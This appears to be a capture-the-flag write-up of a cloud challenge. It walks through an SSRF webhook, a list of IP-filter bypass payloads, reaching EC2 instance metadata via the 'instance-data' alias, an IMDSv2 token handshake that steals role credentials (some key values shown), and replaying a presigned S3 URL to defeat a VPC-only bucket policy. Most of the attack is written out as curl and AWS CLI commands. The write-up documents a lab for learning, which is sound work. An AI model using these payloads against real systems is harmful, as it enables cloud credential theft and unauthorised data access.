Summary
The target exposed a webhook endpoint (/internal/webhook) meant to act as an
internal-only proxy, blocking direct requests to private and link-local IP
ranges. That blocklist checked resolved IPs but missed a legacy EC2-internal
DNS alias (instance-data) that still resolves to the IMDS service. Since the
webhook transparently forwarded HTTP methods and headers, it was possible to
complete the full IMDSv2 token handshake (PUT for a token, then GET with
that token) through the SSRF, stealing the EC2 instance role's temporary AWS
credentials. Those credentials could list the target S3 bucket but not read
objects directly, due to a bucket policy restricting GetObject to requests
originating from inside the VPC. Generating a SigV4 presigned URL locally and
then replaying it through the same SSRF let the EC2 instance itself issue the
final GET, satisfying the VPC-source condition and returning the flag.
Flag: FAM{cl0ud_ssrf_imds_aacb179e691f}
Poking at the app
Started by just hitting the root page:
curl http://13.206.97.85/
This returned a dashboard HTML page listing a handful of API routes: /status,
/metrics/system, /metrics/config, /metrics/endpoints, and a POST-only
/internal/webhook. Walked through them one at a time.
curl http://13.206.97.85/status | jq
Just health/version info, nothing interesting.
curl http://13.206.97.85/metrics/system | jq
This leaked the box's internal hostname: ip-10-20-1-112.ap-south-1.compute.internal.
Filed that away.
curl http://13.206.97.85/metrics/config | jq
This was the important one. It dumped a config blob including:
"identity": {
"imds": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"note": "credentials scoped to storage prefix only",
"provider": "ec2-instance-metadata"
},
"storage": {
"backend": "s3",
"bucket": "fam-ctf-cloud-challenge",
"note": "bucket access restricted to requests originating from within vpc",
"prefix": "players/2301"
}
So the goal became clear early: get to IMDS, get creds, use them on that bucket.
curl http://13.206.97.85/metrics/endpoints | jq
Confirmed the route list, and noticed /internal/webhook accepts GET, POST,
and PUT - odd for a webhook, and that detail mattered later.
curl http://13.206.97.85/internal/webhook | jq
Calling it with no params returned its own documentation:
{"note": "Only internal AWS endpoints are permitted (169.254.x.x, *.amazonaws.com)",
"usage": "POST /internal/webhook?url=<target>"}
Classic SSRF proxy. Time to see what it actually blocks.
Fighting the filter
curl 'http://13.206.97.85/internal/webhook?url=http://192.168.29.189/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://localhost/' | jq
All three came back identically:
{"error": "Direct access to internal IP ranges is not allowed.",
"hint": "Try harder. The instance has a name."}
Even the IMDS IP itself got blocked, despite the docs claiming it was allowed -
so that "usage note" was misleading, not a real permission. Tried the usual
SSRF bypass tricks next, on the theory the filter might just be doing a dumb
string match on the URL:
curl 'http://13.206.97.85/internal/webhook?url=http://169.254.169.254.nip.io/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://2852039166/latest/meta-data/iam/security-credentials/' | jq # decimal IP
curl 'http://13.206.97.85/internal/webhook?url=http://0xa9fea9fe/latest/meta-data/iam/security-credentials/' | jq # hex IP
curl 'http://13.206.97.85/internal/webhook?url=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://ip-10-20-1-112.ap-south-1.compute.internal/' | jq
Every single one got blocked with the exact same error. That was actually a
useful negative result - it meant the filter wasn't doing naive string matching,
it was resolving DNS and checking the resulting IP against a private/link-local
blocklist. All the tricks above still resolve to a blocked IP, so of course they
failed.
Also tried path traversal on the static file route, just to rule out an easier bug:
curl -m 10 'http://13.206.97.85/static/..%2f..%2f..%2f..%2fetc%2fpasswd'
curl -m 10 'http://13.206.97.85/static/....//....//....//....//etc/passwd'
curl -m 10 --path-as-is 'http://13.206.97.85/static/../../../../etc/passwd'
All 404s - Flask normalizes ../ in routing before the traversal even reaches
the handler, so that was a dead end.
Then tried pivoting straight to the public S3 endpoint, since *.amazonaws.com
was supposedly allowed:
curl -m 20 'http://13.206.97.85/internal/webhook?url=http://fam-ctf-cloud-challenge.s3.amazonaws.com/' | jq
This one didn't get the filter's rejection message at all - it just hung and
timed out. That told me the URL passed validation, but the box has no real route
to the public internet (no NAT/IGW), so straight-to-S3 wasn't going to work either.
The actual bypass
Kept coming back to that hint: "the instance has a name." Already tried the
compute.internal hostname and it got blocked (since it still resolves to the
private IP). But there's an older, less common EC2-internal DNS alias for the
metadata service specifically:
curl -m 15 'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/meta-data/iam/security-credentials/' | jq
This got through:
{"status": 401, "url": "http://instance-data/latest/meta-data/iam/security-credentials/"}
Not blocked by the filter anymore - a real 401 coming back from IMDS itself.
Checked the plain metadata root too, same 401:
curl -m 15 'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/meta-data/' | jq
A 401 straight from IMDS on a GET usually means IMDSv2 is enforced - it wants a
session token first via a PUT to /latest/api/token. Tested whether the
webhook would even forward a PUT and a custom header:
curl -m 15 -X POST 'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/api/token' \
-H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' | jq
Got a 405 back (wrong method, as expected for IMDSv2's token endpoint), which
at least confirmed the webhook was passing my HTTP method through to the target.
Switched to PUT with the required header:
curl -m 15 -X PUT 'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/api/token' \
-H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' | jq
That worked - got a token back:
{"status": 200, "body": "AQAAAMft4YTFVSpJ4uDA9Miu6kmU0Eq-YJ8GPrCn8npLivoJfbELfQ=="}
So the webhook wasn't just forwarding methods, it was forwarding headers too.
Used the token to list the role name:
curl -m 15 -G 'http://13.206.97.85/internal/webhook' \
--data-urlencode 'url=http://instance-data/latest/meta-data/iam/security-credentials/' \
-H 'X-aws-ec2-metadata-token: AQAAAMft4YTFVSpJ4uDA9Miu6kmU0Eq-YJ8GPrCn8npLivoJfbELfQ==' | jq
Got back ctf-cloud-player-2301 as the role name, then fetched the actual
credentials:
curl -m 15 -G 'http://13.206.97.85/internal/webhook' \
--data-urlencode 'url=http://instance-data/latest/meta-data/iam/security-credentials/ctf-cloud-player-2301' \
-H 'X-aws-ec2-metadata-token: AQAAAMft4YTFVSpJ4uDA9Miu6kmU0Eq-YJ8GPrCn8npLivoJfbELfQ==' | jq
This returned a full set of temporary AWS creds - AccessKeyId, SecretAccessKey,
and a session Token.
Using the stolen creds
Exported them and confirmed identity:
export AWS_ACCESS_KEY_ID="ASIAYLZKVQD4NQMHDXAX"
export AWS_SECRET_ACCESS_KEY="VvZ1mpWVdZYY0FCK50Vkgi7eC8UJYi3bvNhbs3t9"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEP3//////////wEaCmFwLXNvdXRoLTE..."
export AWS_DEFAULT_REGION="ap-south-1"
aws sts get-caller-identity
Confirmed as assumed-role/ctf-cloud-player-2301/i-04c1f26c2a1c61a25. Listed the
bucket:
aws s3 ls s3://fam-ctf-cloud-challenge/players/2301/ --recursive
Found players/2301/flag.txt. But actually reading it was blocked:
aws s3 cp s3://fam-ctf-cloud-challenge/players/2301/flag.txt -
An error occurred (403) when calling the HeadObject operation: Forbidden
Tried the lower-level API call in case it was just a HeadObject quirk:
aws s3api get-object --bucket fam-ctf-cloud-challenge --key players/2301/flag.txt flag.txt
AccessDenied ... with an explicit deny in a resource-based policy
That "explicit deny in a resource-based policy" matched the earlier hint about
the bucket only allowing requests that originate from inside the VPC. ListBucket
apparently wasn't covered by that condition (which is why listing worked), but
GetObject was.
Getting past the VPC restriction
The fix: a SigV4 presigned URL bakes the signature into the query string, so
whoever actually sends the HTTP request is what matters for the source-IP
condition - not whoever generated the signature. Generated one locally:
aws s3 presign s3://fam-ctf-cloud-challenge/players/2301/flag.txt --expires-in 300
Then replayed that entire presigned URL through the SSRF webhook, so the actual
GET would be issued by the EC2 instance itself (which is inside the VPC):
curl -m 15 -G 'http://13.206.97.85/internal/webhook' \
--data-urlencode 'url=https://fam-ctf-cloud-challenge.s3.ap-south-1.amazonaws.com/players/2301/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=...&X-Amz-Signature=...' | jq
That came back with status: 200 and the flag in the body:
FAM{cl0ud_ssrf_imds_aacb179e691f}
Root causes
- The webhook is a proxy that fetches attacker-controlled URLs server-side - classic SSRF.
- The IP-range blocklist checks resolved DNS but missed the legacy
instance-dataalias, which still points at the metadata service. - IMDSv2 didn't actually stop anything here, because the SSRF proxy transparently forwards HTTP method and headers, so the full token-then-fetch handshake could be completed remotely through it.
- The S3 bucket policy's VPC-source restriction only checks where the request physically comes from, and the SSRF gave a way to originate a request from inside that trusted boundary.
Top comments (0)